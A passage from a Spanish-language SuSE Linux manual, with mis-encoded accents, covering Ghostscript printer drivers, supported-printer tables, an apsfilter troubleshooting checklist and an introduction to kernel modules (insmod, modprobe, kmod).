  22002.                            lib/apsfilter/test.
  22003.                            La llamada a Ghostscript,  p. ej.  para el driver de impresora necp6      con una
  22004.                            resoluci≤n de 360   360, y la posterior impresi≤n en la impresora /dev/lp0,
  22005.                            se lleva a cabo con el siguiente comando:
  22006.  
  22007.                            tux@tierra:  >  gs  -q  -dNOPAUSE  -dSAFER  -sDEVICE=necp6  \
  22008.                                        -r360x360  -sOutputFile=FicheroTest.lpr  ArchivoTest.ps  quit.ps
  22009.                            tux@tierra:  >  su
  22010.                            tierra:  #  cat  FicheroTest.lpr  >  /dev/lp0
  22011.                            Si se usa el uniprint       -driver con un fichero de parßmetros, el comando (para
  22012.                            una impresora de la serie ''Stylus'') es el siguiente:
  22013.  
  22014.                            tux@tierra:  >  gs  @stc.upp  -q  -dNOPAUSE  -dSAFER  \
  22015.                                        -r360x360  -sOutputFile=FicheroTest.lpr  ArchivoTest.ps  quit.ps
  22016.                            tux@tierra:  >  su
  22017.                            tierra:  #  cat  FicheroTest.lpr  >  /dev/lp0
  22018.                            Consejo:  El directorio /usr/share/ghostscript/<versi≤n>          /doc con-
  22019.                            tiene mucha informaci≤n valiosa, como p. ej.  los consejos en devices.txt
  22020.                            que informa sobre una serie de impresoras mßs recientes.
  22021.  
  22022.                            Para  obtener  informaci≤n  actualizada  sobre  Ghostscript  (versiones,  soporte
  22023.                            de impresoras, etc.), consulte la Homepage de Ghostscript. El URL es http:
  22024.                            //www.cs.wisc.edu/~ghost/.
  22025.  
  22026.  
  22027.  
  22028.                            12.6        Listado de las impresoras soportadas
  22029.  
  22030.                            Aparte de las impresoras PostScript, HP DeskJet y Epson Stylus, Ghostscript
  22031.                            soporta  una  serie  de  impresoras  adicionales  (versi≤n  5.10).     Lo  nuevo
  22032.                            desde  la  versi≤n  5  es  el  ''uniprint        ''-driver  que  se  adapta  a  la  impre-
  22033.                            sora  en  cuesti≤n  junto  con  un  fichero  de  parßmetros  especφficos.     Es
  22034.                            posible  seleccionar  estos  ficheros  de  parßmetros  con  lprsetup         y  adap-
  22035.                            tarlos   a   las   necesidades   particulares.     Los   ficheros   se   encuentran   en
  22036.                            /usr/share/ghostscript/<VERSION>/                                  con  la  extensi≤n  .upp  y  es
  22037.                            preferible  usarlos  antes  de  hacer  uno  propio  (ver  tabla  12.1  en  la  pßgi-
  22038.                            na 342Listado de las impresoras soportadastable.12.1).
  22039.  
  22040.                             _______________________________________________________________________________________________________*
  22041.  *_________
  22042.  
  22043.                               Canon
  22044.  
  22045.  
  22046.                               bjc610a0.upp                   BJC 610, 360x360DPI, plain paper high speed, col-
  22047.                                                              or, rendered
  22048.  
  22049.                             _______________________________________________________________________________________________________*
  22050.  *_________
  22051.  
  22052.                                                   Tabla 12.1: Contin·a en la pßgina siguiente ...
  22053.  
  22054. 340
  22055.     _________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________*
  22056.  *___________________
  22057.  
  22058.     ______________________________________________________________________________________________________________________
  22059.  
  22060.  
  22061. bjc610a1.upp                   BJC 610, 360x360DPI, plain paper, color, rendered
  22062. bjc610a2.upp                   BJC  610,  360x360DPI,  coated  paper,  color,  ren-
  22063.                                dered
  22064. bjc610a3.upp                   BJC  610,  360x360DPI,  transparency  film,  color,
  22065.                                rendered
  22066. bjc610a4.upp                   BJC 610, 360x360DPI, back print film, color, ren-
  22067.                                dered
  22068. bjc610a5.upp                   BJC 610, 360x360DPI, fabric sheet, color, rendered
  22069. bjc610a6.upp                   BJC  610,  360x360DPI,  glossy  paper,  color,  ren-
  22070.                                dered
  22071. bjc610a7.upp                   BJC 610, 360x360DPI, high gloss film, color, ren-
  22072.                                dered
  22073. bjc610a8.upp                   BJC 610, 360x360DPI, high resolution paper, color,
  22074.                                rendered
  22075. bjc610b1.upp                   BJC 610, 720x720DPI, plain paper, color, rendered
  22076. bjc610b2.upp                   BJC  610,  720x720DPI,  coated  paper,  color,  ren-
  22077.                                dered
  22078. bjc610b3.upp                   BJC  610,  720x720DPI,  transparency  film,  color,
  22079.                                rendered
  22080. bjc610b4.upp                   BJC 610, 720x720DPI, back print film, color, ren-
  22081.                                dered
  22082. bjc610b6.upp                   BJC  610,  720x720DPI,  glossy  paper,  color,  ren-
  22083.                                dered
  22084. bjc610b7.upp                   BJC 610, 720x720DPI, high gloss paper, color, ren-
  22085.                                dered
  22086. bjc610b8.upp                   BJC 610, 720x720DPI, high resolution paper, color,
  22087.                                rendered
  22088.  
  22089.  
  22090. Hewlett-Packard
  22091.  
  22092.  
  22093. cdj550.upp                     DeskJet 550c, 300x300DpI, Gamma=2
  22094.  
  22095.  
  22096. NEC
  22097.  
  22098.  
  22099. necp2x.upp                     Prinwriter 2X, 360x360DPI, Plain Paper
  22100. necp2x6.upp                    Prinwriter 2X, 360x360DPI, Plain Paper
  22101.  
  22102.  
  22103. Epson
  22104.  
  22105.  
  22106. stc.upp                        Stylus Color I (and PRO Series), 360x360DPI, Plain
  22107.                                Paper
  22108. stc`h.upp                      Stylus Color I (and PRO Series), 720x720DPI, Spe-
  22109.                                cial Paper
  22110. stc`l.upp                      Stylus  Color  I  (and  PRO  Series),   360x360DPI,
  22111.                                noWeave
  22112.  
  22113.     ______________________________________________________________________________________________________________________
  22114.  
  22115.                     Tabla 12.1: Contin·a en la pßgina siguiente ...
  22116.  
  22117.  
  22118.                                                                                                                                    *
  22119.  *341
  22120. 12.  Impresoras   _________________________________________________________________________________________________________________*
  22121.  *_______________________________________@
  22122.  
  22123.                             _______________________________________________________________________________________________________*
  22124.  *_________
  22125.  
  22126.  
  22127.                               stc1520h.upp                   Stylus Color 1520, 1440x720DPI, Inkjet Paper
  22128.                               stc2.upp                       Stylus Color II / IIs, 360x360DPI, Plain Paper
  22129.                               stc2`h.upp                     Stylus Color II, 720x720DPI, Special Paper
  22130.                               stc2s`h.upp                    Stylus Color IIs, 720x720DPI, Special Paper
  22131.                               stc500p.upp                    Stylus Color 500, 360x360DPI, not Weaved, Plain
  22132.                                                              Paper
  22133.                               stc500ph.upp                   Stylus Color 500, 720x720DPI, not Weaved, Plain
  22134.                                                              Paper
  22135.                               stc600ih.upp                   Stylus Color 600, 1440x720DPI, Inkjet Paper
  22136.                               stc600p.upp                    Stylus Color 600, 720x720DPI, Plain Paper
  22137.                               stc600pl.upp                   Stylus Color 600, 360x360DPI, Plain Paper
  22138.                               stc800ih.upp                   Stylus Color 800, 1440x720DPI, Inkjet Paper
  22139.                               stc800p.upp                    Stylus Color 800, 720x720DPI, Plain Paper
  22140.                               stc800pl.upp                   Stylus Color 800, 360x360DPI, Plain Paper
  22141.                               stcany.upp                     Any Stylus Color, 360x360DPI
  22142.  
  22143.                             _______________________________________________________________________________________________________*
  22144.  *_________
  22145.  
  22146.                               Tabla    12.1:        Ficheros    de    parßmetros    del    uniprint        -driver
  22147.                               (Ghostscript 5.10)
  22148.                            Si no se encuentra ning·n fichero de parßmetros para un modelo de impresora
  22149.                            en particular, se usa un ''driver'' de eficacia comprobada de los contenidos en
  22150.                            la tabla 12.2 en la pßgina 344Listado de las impresoras soportadastable.12.2.
  22151.  
  22152.                             _______________________________________________________________________________________________________*
  22153.  *_________
  22154.  
  22155.                               Apple
  22156.  
  22157.  
  22158.                               appledmp                         Apple Dot Matrix Printer (tambiΘn Imagewriter)
  22159.                               iwhi                             Apple Imagewriter, resoluci≤n alta
  22160.                               iwlo                             Apple Imagewriter, resoluci≤n baja
  22161.                               iwlq                             Apple Imagewriter, 320x216 dpi
  22162.  
  22163.  
  22164.                               Canon
  22165.  
  22166.  
  22167.                               bj10e                            BubbleJet 10e
  22168.                               bj200                            BubbleJet 200
  22169.                               bjc600                           BubbleJet 600c, 4000c (color)
  22170.                               bjc800                           BubbleJet 800c (color)
  22171.                               lbp8                             LBP-8II
  22172.                               lips3                            LIPS III
  22173.  
  22174.  
  22175.                               DEC
  22176.  
  22177.  
  22178.                               declj250                         LJ 250
  22179.  
  22180.                             _______________________________________________________________________________________________________*
  22181.  *_________
  22182.  
  22183.                                                   Tabla 12.2: Contin·a en la pßgina siguiente ...
  22184.  
  22185. 342
  22186.     _________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________*
  22187.  *___________________
  22188.  
  22189.     ______________________________________________________________________________________________________________________
  22190.  
  22191.  
  22192. la50                             LA50
  22193. la70                             LA70
  22194. la75                             LA75
  22195. la75plus                         LA75 Plus
  22196. lj250                            LJ250
  22197. ln03                             LN03
  22198.  
  22199.  
  22200. Epson
  22201.  
  22202.  
  22203. ap3250                           AP3250
  22204. eps9high                         FX-80-compatible, 240 dpi
  22205. eps9mid                          FX-80-compatible, 120 dpi
  22206. epson                            FX-80-compatible de 9- o 24-agujas
  22207. epsonc                           LQ-2550, Fujitsu 1200/2400/3400, color
  22208. lp8000                           LP-8000 impresora laser
  22209. lq850                            LQ-850, matricial de 24-agujas, 360dpi
  22210. st800                            Stylus 800, ESC/P2
  22211. stcolor                          Stylus Color
  22212.  
  22213.  
  22214. Hewlett-Packard
  22215.  
  22216.  
  22217. cdeskjet                         DeskJet 500C, impreso blanco y negro
  22218. cdj500                           DeskJet 500C, 540C
  22219. cdj550                           DeskJet 550C, 560C
  22220. cdj670                           DeskJet 670C, 690C
  22221. cdj850                           DeskJet 850C, 855C, 870C, 1100C
  22222. cdj890                           DeskJet 890C
  22223. cdj1600                          DeskJet 1600C
  22224. cdjcolor                         DeskJet 500C, impreso color
  22225. cdjmono                          DeskJet 500C, impreso blanco y negro
  22226. deskjet                          DeskJet, DeskJet Plus
  22227. djet500                          DeskJet 500
  22228. djet500c                         DeskJet 500c
  22229. djet820c                         DeskJet 820Cse y 820Cxi; quizß tambiΘn las de la
  22230.                                  serie 1000
  22231. dnj650c                          DesignJet 650C
  22232. hpdj                             DeskJet  con  soporte  PCL-3  (Impreso  en  color  y
  22233.                                  blanco y negro)
  22234.                                  Ghostscript-Info: hpdj/gs-hpdj.txt
  22235. laserjet                         LaserJet
  22236. ljet2p                           LaserJet IIp
  22237. ljet3                            LaserJet III
  22238. ljet3d                           LaserJet IIID
  22239. ljet4                            LaserJet IV
  22240. ljetplus                         LaserJet Plus
  22241.  
  22242.     ______________________________________________________________________________________________________________________
  22243.  
  22244.                     Tabla 12.2: Contin·a en la pßgina siguiente ...
  22245.  
  22246.  
  22247.                                                                                                                                    *
  22248.  *343
  22249. 12.  Impresoras   _________________________________________________________________________________________________________________*
  22250.  *_______________________________________@
  22251.  
  22252.                             _______________________________________________________________________________________________________*
  22253.  *_________
  22254.  
  22255.  
  22256.                               lj4dith                          LaserJet IV, dithered
  22257.                               lj5mono                          LaserJet 5 & 6 (PCL XL), Bitmap
  22258.                               lj5gray                          LaserJet 5 & 6, Bitmap con escala de grises
  22259.                               lp2563                           2563B LinePrinter
  22260.                               paintjet                         PaintJet Impresora color
  22261.                               pj                               PaintJet XL, alternativa
  22262.                               pjetxl                           PaintJet 300XL
  22263.                               pjxl                             PaintJet 300XL
  22264.                               pjxl300                          PaintJet 300XL, DeskJet 1200C
  22265.  
  22266.  
  22267.                               IBM
  22268.  
  22269.  
  22270.                               ibmpro                           Proprinter, 9-agujas
  22271.                               jetp3852                         Jetprinter 3852
  22272.  
  22273.  
  22274.                               OKI
  22275.  
  22276.  
  22277.                               oki182                           MicroLine 182
  22278.                               okiibm                           MicroLine, compatible IBM
  22279.  
  22280.  
  22281.                               Tektronix
  22282.  
  22283.  
  22284.                               t4693d2                          4693d, Impreso en color
  22285.                               t4693d4                          4693d, Impreso en color
  22286.                               t4693d8                          4693d, Impreso en color
  22287.                               tek4696                          4695/4696
  22288.  
  22289.  
  22290.                               Otros
  22291.  
  22292.  
  22293.                               hl7x0                            Brother 720, 730, 820
  22294.                               imagen                           Imagen ImPress
  22295.                               m8510                            C.Itoh M8510
  22296.                               necp6                            NEC P6, P6+, P60 bei 360 dpi
  22297.                               oce9050                          OCE 9050
  22298.                               r4081                            Ricoh 4081, impresora laser
  22299.                               sj48                             StarJet 48
  22300.                               cp50                             Mitsubishi CP50, impresora color
  22301.                               xes                              Xerox XES (2700, 3700, 4045)
  22302.  
  22303.                             _______________________________________________________________________________________________________*
  22304.  *_________
  22305.  
  22306.                                             Tabla 12.2: Impresoras soportadas (Ghostscript 5.10)
  22307.  
  22308.                            Por  supuesto,  todas  las  impresoras  compatibles  a  la  HP4  LaserJet  y  otras
  22309.                            impresoras PostScript estßn directamente soportadas.
  22310.  
  22311.                            Si se instala con apsfilter  o se configura con YaST , es preciso indicar el +
  22312.                            Acr≤nimo de la impresora en la columna izquierda (p. ej. djet500      ).
  22313.  
  22314.  
  22315. 344
  22316.        ________________________________________________________________________12.7.__Lista_de_comprobaci≤n:_apsfilter_____________*
  22317.  *______________________
  22318.  
  22319.  
  22320.  
  22321. Si la impresora en cuesti≤n no figura en la lista, esto no descarta la posibilidad
  22322. de que a·n podamos usar el APS-filtro ya que muchas veces sirve el driver de
  22323. un modelo anterior. En este caso, se selecciona un driver del modelo que mßs
  22324. se le parezca. Se puede obtener ayuda adicional con el CDB (ingl. Component
  22325. Database), el banco de datos de hardware recopilado por SuSE    ; se encuentra
  22326. en http://cdb.suse.de/.
  22327.        _______________________________________________________________________________________________________________________||||
  22328.        ||||||||                                                                                                 ||             |
  22329.        ||||||||  En el mercado hay muchas impresoras que se venden con la etiqueta ''for                        ||             |
  22330.        ||||||||  Windows'' o ''impresora-GDI''. Tales impresoras muchas veces no funcio-                        ||             |
  22331.        ||||||||                                                                                                 ||             |
  22332.        ||||||||  nan  bajo  Linux  o  con  suerte  con  muchas  restricciones.  íPara  mayor  in-               ||             |
  22333.        ||||||||  formaci≤n consulte el CDB bajo http://cdb.suse.de/ o pregunte a su                             ||             |
  22334.        ||||||||                                                                                                 ||             |
  22335.        ||||||||  distribuidor!                                                                                  ||             |
  22336.        ||||||||                                                                                                 ||             |
  22337.        ||||||||  Para  HP  DeskJets  de  estas  caracterφsticas  existe  un  programa  conversor                ||             |
  22338.        ||||||||  para la impresi≤n en blanco y negro (paquete ppa, serie ap); respecto a la                     ||             |
  22339.        ||||||||                                                                                                 ||             |
  22340.        ||||||||  instalaci≤n se puede consultar la documentaci≤n en usr/doc/packages/                           ||             |
  22341.        ||||||||  ppa  y/o  en  el  SDB,  el  artφculo  http://sdb.suse.de/sdb/de/html/                          ||             |
  22342.        ||||||||                                                                                                 ||             |
  22343.        ||||||||  ke_printer-gdi.html.  En cuanto a impresoras de Lexmark (modelos                               ||             |
  22344.        ||||||||  5700, 7000 y 7200) sirve el paquete pbm2l7k, serie ap; la documentaci≤n                        ||             |
  22345.        ||||||||                                                                                                 ||             |
  22346.        ||||||||  el respecto se encuentra en /usr/doc/packages/pbm2l7k.                                         ||             |
  22347.        ||||||||_______________________________________________________________________________________________________________||_
  22348.  
  22349. Un  fallo  frecuente  es  una  resoluci≤n  incompatible.   En  este  caso  se  puede
  22350. indicar la resoluci≤n correcta (o sea los dpi reales de la impresora) mediante la
  22351. variable GS_RESOL en /etc/apsfilterrc                (p. ej.  GS_RESOL=360x360               .  Ya
  22352. hay allφ ~ en forma de comentario ~ algunas entradas de este tipo.)
  22353.  
  22354.  
  22355. 12.7        Lista de comprobaci≤n:  apsfilter
  22356.  
  22357.   o   ┐El paquete aps, serie ap para el apsfilter estß instalado?
  22358.   o   ┐Se  ha  configurado  apsfilter  con  YaST  o  con  /var/lib/apsfilter/
  22359.       SETUP (lprsetup        )?
  22360.   o   ┐Esta instalado el paquete net_tool, paquete netcfg, paquete nkita y
  22361.       el paquete nkitb (todos de la serie a)? ┐Estß instalado el paquete lprold
  22362.       de la serie n?
  22363.   o   ┐El kernel tiene soporte TCP/IP? Se reconoce por el mensaje "IP  Pro-
  22364.       tocols:    ICMP,  UDP,  TCP" en /var/log/boot.msg.
  22365.   o   ┐El soporte de puertos/interfaces paralelos estß activado? ~
  22366.  
  22367.       ~   ┐El m≤dulo lp   realmente estß cargado?  En el caso del kernel 2.2.xx
  22368.           tambiΘn se precisa la carga de los m≤dulos parport        y parport_pc
  22369.           (ver   el   apartado   10.4.3   en   la   pßgina   300Conexiones   de   puerto
  22370.           paralelosubsection.10.4.3).
  22371.  
  22372.       ~   Quizß la computadora tiene una BIOS del tipo ''Plug-and-Play'' y la
  22373.           configuraci≤n  de  la  interfaz  estß  en  auto   .   En  este  caso,  se  asigna
  22374.           explφcitamente a la interfaz una direcci≤n de memoria (el estßndar es:
  22375.           0x0378      o solo 378   ).
  22376.  
  22377.       ~   Si los indicadores luminosos de la impresora solo parpadean, es posi-
  22378.           ble que la interfaz este configurada como ECP+EPP        y la impresora no
  22379.           lo acepta.  Pruebe con cambiar la configuraci≤n a modo normal       o a
  22380.           SPP    o ECP   .
  22381.  
  22382.  
  22383.                                                                                                                                    *
  22384.  *   345
  22385. 12.  Impresoras   _________________________________________________________________________________________________________________*
  22386.  *_______________________________________@
  22387.  
  22388.  
  22389.  
  22390.                              o   Si  la  impresora  no  soporta  la  resoluci≤n  estßndar  de  300   300  dpi,  se
  22391.                                  debe comprobar si la resoluci≤n que figura en el manual de la impresora
  22392.                                  fue definida con YaST  o si se encuentra en /etc/apsfilterrc               .
  22393.  
  22394.                              o   ┐QuΘ resultado da lpc  status        ?
  22395.  
  22396.                              o   Probar con lpc  up  all       .
  22397.  
  22398.                              o   Por  lo  menos  la  cola  raw    deberφa  funcionar  para  todas  las  impresoras
  22399.                                  y  permitir  asφ  la  impresi≤n  de  ficheros  ASCII;  una  excepci≤n  son  las
  22400.                                  impresoras GDI (ver en la pßgina anterior).
  22401.  
  22402.                              o   Si las hojas se imprimen de forma apaisada,  aunque esto no deba ocur-
  22403.                                  rir,  se  debe  consultar  la  en  la  pßgina  333Las  colas  de  impresi≤n  de
  22404.                                  apsfilterHfootnote.59.
  22405.  
  22406.                              o   Cuando  se  use  el  comando  lpr    con  la  opci≤n  -P ,  no  se  debe  agregar
  22407.                                  ning·n espacio por delante del nombre de la impresora.
  22408.  
  22409.                              o   Si  es  posible  imprimir  texto  ASCII  a  travΘs  de  la  cola  ''raw''  (-Praw     ),
  22410.                                  se  puede  intentar  imprimir  un  fichero  PostScript  con  lpr  .   La  primera
  22411.                                  posibilidad es la de crear un fichero PostScript e imprimirlo despuΘs:
  22412.                                       tux@tierra:  >  a2ps  -nP  -1  -p  /etc/hosts  >  /var/tmp/hosts.ps
  22413.                                       tux@tierra:  >  lpr  /var/tmp/hosts.ps
  22414.  
  22415.  
  22416.                                  TambiΘn se puede usar un fichero PostScript suministrado con Ghostscript:
  22417.                                       tux@tierra:  >  lpr  /usr/share/ghostscript/5.10/examples/tiger.ps
  22418.  
  22419.  
  22420.                              o   Controlar   los   ficheros-log   en   /var/spool/lpd/Nombre_Driver,
  22421.                                  donde  Nombre_Driver  debe  ser  reemplazado  por  el  driver  que  haya
  22422.                                  elegido.
  22423.  
  22424.                              o   ┐Trabaja con la interfaz de impresora correcta?  (ver apartado 12.1 en la
  22425.                                  pßgina 325Los puertos paralelossection.12.1)
  22426.  
  22427.                              o   íEl kernel no debe incorporar el m≤dulo (driver) para PLIP! (comprobar
  22428.                                  en /var/log/boot.msg)
  22429.  
  22430.  
  22431.  
  22432. 346
  22433.  
  22434.                                      Parte  VI
  22435.  
  22436.  
  22437. El   kernel   y   sus   parßmetros
  22438.  
  22439.  
  22440.                                                                                                                                  347
  22441.  
  22442.  
  22443.                                                                                                       Capφtulo  13
  22444.                                                                                                         El   kernel
  22445.  
  22446.  
  22447. El kernel que se copia al disquete despuΘs de la instalaci≤n y que se encuentra
  22448. tambiΘn en el directorio root del sistema instalado, tiene una configuraci≤n
  22449. que cubre un amplio espectro del hardware y por lo tanto no es totalmente
  22450. optimizado. Sin embargo ya durante la instalaci≤n o actualizaci≤n es posible
  22451. seleccionar un kernel que fue optimizado en algunas aspectos (p. ej. para ar-
  22452. quitectura Pentium), pero no en todos. Por eso es una ventaja ~ íaunque no es
  22453. necesario!  ~ generar un kernel propio.  Ademßs, si tiene el deseo de conocer
  22454. caracteristicas o drivers ''experimentales'', es practicamente obligatorio com-
  22455. pilar un kernel propio.  Finalmente es la configuraci≤n de un kernel propio
  22456. que permite conocer el estado del arte en el desarrollo de Linux.
  22457.  
  22458. Ya existen Makefiles para el compilador C que permiten generar un kernel
  22459. nuevo de un modo casi totalmente automatizado. Solo hace falta entrar en una
  22460. utilidad de configuraci≤n y definir el hardware que el kernel debe soportar.
  22461.  
  22462. El soporte de instalaci≤n no cubre la compilaci≤n de un kernel propio (ver
  22463. apartado H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
  22464.        _______________________________________________________________________________________________________________________||
  22465.        ||||||||  La  siguiente  descripci≤n  contempla  bßsicamente  los  kernel  de  la  serie                 |||            |
  22466.        ||||||||                                                                                                 ||             |
  22467.        ||||||||  2.2.x.   y  existen  muchas  cosas  que  coinciden  con  los  kernel  de  la  serie            ||             |
  22468.        ||||||||  2.0.x. íSin embargo, en cuanto a los detalles, pueden existir peque±as pero                    ||             |
  22469.        ||||||||                                                                                                 ||             |
  22470.        ||||||||  importantes diferencias!                                                                       ||             |
  22471.        ||||||||_______________________________________________________________________________________________________________||_
  22472.  
  22473.  
  22474. 13.1        Las fuentes del kernel
  22475.  
  22476. Para poder generar un kernel propio se deben instalar las fuentes del kernel
  22477. (paquete  lx_suse),  el  compilador  de  C  (paquete  gcc),  los  GNU  Binutils
  22478. (paquete binutils) y las librerφas de C (Include-files) (paquete libc). Estos
  22479. paquetes se encuentran en la serie serie D (Development).  En todo caso es
  22480. muy  recomendable  instalar  el  compilador  de  C  ya  que  el  lenguaje  C  y  el
  22481. sistema operativo Linux estßn intrφnsecamente vinculados.
  22482.  
  22483. Las fuentes del kernel se encuentran en el directorio /usr/src/linux.  Si
  22484. le gusta experimentar con el kernel y tener varias versiones en el disco, re-
  22485. sulta bastante prßctico desempaquetar las fuentes de los diferentes kernel en
  22486. diferentes directorios y acceder a las actualmente vßlidas mediante un enlace
  22487. simb≤lico. YaST  instala los paquetes de esta forma automßticamente.
  22488.  
  22489. En realidad se podrφan instalar y compilar las fuentes del kernel en cualquier
  22490. directorio, pero existe bastante software que espera encontrar las fuentes del
  22491.  
  22492.  
  22493.                                                                                                                                    *
  22494.  *   349
  22495. 13.  El kernel    _________________________________________________________________________________________________________________*
  22496.  *_______________________________________@
  22497.  
  22498.  
  22499.  
  22500.                            kernel en el directorio /usr/src/linux. Por lo tanto es mejor optar por este
  22501.                            directorio para asegurar la compilaci≤n correcta de cualquier programa.
  22502.  
  22503.  
  22504.                            13.2        M≤dulos del kernel
  22505.  
  22506.                            Actualmente  existen  muchos  drivers  y  funciones  adicionales  que  no  deben
  22507.                            formar  parte  fija  del  kernel  necesariamente,  sino  que  pueden  ser  cargados
  22508.                            como  m≤dulos  (ingl.  kernel  module)  en  tiempo  de  ejecuci≤n.   Durante  la
  22509.                            configuraci≤n del kernel es cuando se determina cußles drivers se incorporan
  22510.                            de forma fija al mismo y cußles como m≤dulo.
  22511.  
  22512.                            Los m≤dulos del kernel se guardan en el directorio /lib/modules/<versi≤n>          ,
  22513.                            donde  <versi≤n>  corresponde  a  la  versi≤n  actual  del  kernel  (por  ejemplo
  22514.                            2.2.14).
  22515.  
  22516.                            Siempre que sea posible se debe aprovechar la posibilidad de usar m≤dulos.
  22517.                            Siga la pauta: las funciones del kernel que no se necesitan durante el arranque
  22518.                            de la computadora, se deben realizar como m≤dulos; de este modo se asegura
  22519.                            que  el  kernel  no  crezca  demasiado  y  que  ni  la  BIOS  ni  ning·n  gestor  de
  22520.                            arranque tenga problemas al cargar el kernel.  Esto significa que el driver del
  22521.                            disco  duro,  el  soporte  de  ext2     y  otras  funciones  parecidas  siempre  deben
  22522.                            formar parte del kernel, mientras que el soporte de isofs     , msdos      o sound
  22523.                            siempre se deberφan compilar como m≤dulos.
  22524.  
  22525.  
  22526.                            Manejo de los m≤dulos
  22527.  
  22528.                            Existen los siguientes comandos para trabajar con m≤dulos:
  22529.  
  22530.                              o   insmod
  22531.                                  El comando insmod  carga el m≤dulo indicado que se busca en un sub-
  22532.                                  directorio de /lib/modules/<versi≤n>                      .  A favor del mejor comando
  22533.                                  modprobe        se deberφa dejar de usar insmod      .
  22534.                              o   rmmod
  22535.                                  Este comando descarga el m≤dulo indicado, lo cual solo es posible cuando
  22536.                                  se ha dejado de usar esta funci≤n del m≤dulo, y no es posible descargar
  22537.                                  p. ej. el m≤dulo isofs      cuando todavφa hay un CD montado.
  22538.                              o   depmod
  22539.                                  Este  comando  genera  en  el  directorio  /lib/modules/<versi≤n>                       el
  22540.                                  fichero modules.dep que registra la dependencia de los m≤dulos entre
  22541.                                  sφ.  De este modo hay seguridad de que se cargan automßticamente todos
  22542.                                  los  m≤dulos  que  dependen  del  primero.   Si  el  inicio  del  kernel-damon
  22543.                                  estß previsto en /etc/rc.config, el fichero con las dependencias de los
  22544.                                  m≤dulos se genera automßticamente cuando Linux se inicia (salvo que el
  22545.                                  fichero ya exista).
  22546.                              o   modprobe
  22547.                                  Carga o descarga de un m≤dulo considerando las dependencias con otros.
  22548.                                  El comando es muy versßtil asφ que se puede usar para muchas otras cosas
  22549.                                  (p. ej.  para probar todos los m≤dulos de un determinado tipo hasta que se
  22550.                                  cargue uno exitosamente).  Al contrario de insmod , modprobe  eval·a el
  22551.                                  fichero /etc/modules.conf y por eso solo se deberφa usar para cargar
  22552.                                  m≤dulos. La Manpage de modprobe explica todas las posibilidades.
  22553.  
  22554.  
  22555. 350
  22556.        _____________________________________________________________________________________________13.2.__M≤dulos_del_kernel______*
  22557.  *______________________
  22558.  
  22559.  
  22560.  
  22561.   o   lsmod
  22562.       Muestra  los  m≤dulos  actualmente  cargados  y  sus  dependencias.    Los
  22563.       m≤dulos  que  fueron  cargados  por  el  kernel-daemon  se  identifican  por
  22564.       (autoclean)           al  final  de  la  lφnea.   Esta  palabra  indica  que  se  trata  de
  22565.       un  m≤dulo  que  se  descarga  automßticamente  cuando  deja  de  ser  usado
  22566.       para un determinado tiempo.
  22567.  
  22568.  
  22569. /etc/modules.conf
  22570.  
  22571. El fichero /etc/modules.conf influye sobre la carga de m≤dulos (ver pßgi-
  22572. na del manual de depmod       (man  depmod        )).
  22573.  
  22574. Advertencia:   Desde  la  versi≤n  6.3  de  SuSE     Linux  el  nombre  del  fichero
  22575. /etc/conf.modules se ha cambiado a /etc/modules.conf.
  22576.  
  22577. Es precisamente este fichero el que permite indicar los parßmetros para aque-
  22578. llos m≤dulos que acceden directamente al hardware y por lo tanto deben ser
  22579. adaptados a la computadora especφfica (p. ej.  driver de unidades CD-ROM o
  22580. driver para tarjetas red).  Los parßmetros que se indican en este fichero son
  22581. en principio idΘnticos a los que se pasan al kernel (p. ej.  con LILO ) a la hora
  22582. de  arrancar  (ver  apartado  14.3.2  en  la  pßgina  360Parßmetros  del  kernel  en
  22583. el Boot-Promptsubsection.14.3.2),  sin embargo,  en muchos casos sus nom-
  22584. bres  son  diferentes  (ver  el  apartado  14.3.4  en  la  pßgina  373Parßmetros  de
  22585. modprobe        subsection.14.3.4).   Si  no  se  consigue  cargar  un  m≤dulo,  intente
  22586. especificar el hardware en el fichero /etc/conf.modules y para cargarlo se
  22587. debe usar el m≤dulo modprobe en lugar de insmod .
  22588.  
  22589.  
  22590. Kmod  ~ el ''Kernel Module Loader''
  22591.  
  22592. El modo mßs elegante para emplear m≤dulos de kernel es ~ desde la versi≤n
  22593. 2.2.x ~ el uso del ''Kernel Module Loader'', que reemplaza al kernel-damon
  22594. (kerneld ) ''antiguo''. kmod permanece en segundo plano y se ocupa de cargar
  22595. automßticamente los m≤dulos con llamadas a modprobe  cuando se necesita
  22596. la correspondiente funci≤n del kernel.
  22597.  
  22598. Para  usar  el  kmod  se  debe  activar,  durante  la  configuraci≤n  del  kernel,  la
  22599. opci≤n `Kernel  module  loader' (CONFIG_KMOD          ).
  22600.  
  22601. íLos drivers que se necesitan para acceder al sistema de ficheros raφz deben
  22602. estar  incorporados  al  kernel!,  por  lo  cual,  no  se  debe  configurar  el  driver
  22603. SCSI ni el sistema de ficheros de la partici≤n raφz (normalmente ext2    ) como
  22604. m≤dulos!
  22605.        _______________________________________________________________________________________________________________________||
  22606.        ||||||||  SuSE     Linux  usa  ahora  el  initrd      (ingl.  initial  ramdisk)  para  incorporar        |||            |
  22607.        ||||||||                                                                                                 ||             |
  22608.        ||||||||  de esta forma p. ej. el driver SCSI. Generando un kernel propio se precisa                     ||             |
  22609.        ||||||||                                                                                                 ||             |
  22610.        ||||||||  adaptar la variable INITRD_MODULES              dentro del fichero /etc/rc.config              ||             |
  22611.        ||||||||  (apartado  17.6  en  la  pßgina  439Inicializar  hardware  local  (Teclado,  mo-               ||             |
  22612.        ||||||||                                                                                                 ||             |
  22613.        ||||||||  dem, mouse, PCMCIA etc.)Hfootnote.76) y es necesario poner la lφnea con                        ||             |
  22614.        ||||||||  initrd  dentro  del  fichero  /etc/lilo.conf  en  comentario  (ver  aparta-                    ||             |
  22615.        ||||||||                                                                                                 ||             |
  22616.        ||||||||  do  16.2.5  en  la  pßgina  415Posibles  problemas  ~  Kernel  compilado  a                    ||             |
  22617.        ||||||||  medidasubsection.16.2.5).  ~ íSi se omiten estos pasos, el kernel se cuelga                    ||             |
  22618.        ||||||||                                                                                                 ||             |
  22619.        ||||||||  durante el arranque!                                                                           ||             |
  22620.        ||||||||_______________________________________________________________________________________________________________||_
  22621.  
  22622.  
  22623.                                                                                                                                    *
  22624.  *   351
  22625. 13.  El kernel    _________________________________________________________________________________________________________________*
  22626.  *_______________________________________@
  22627.  
  22628.  
  22629.  
  22630.                            El uso de los m≤dulos del kernel se ofrece sobre todo para funciones de uso
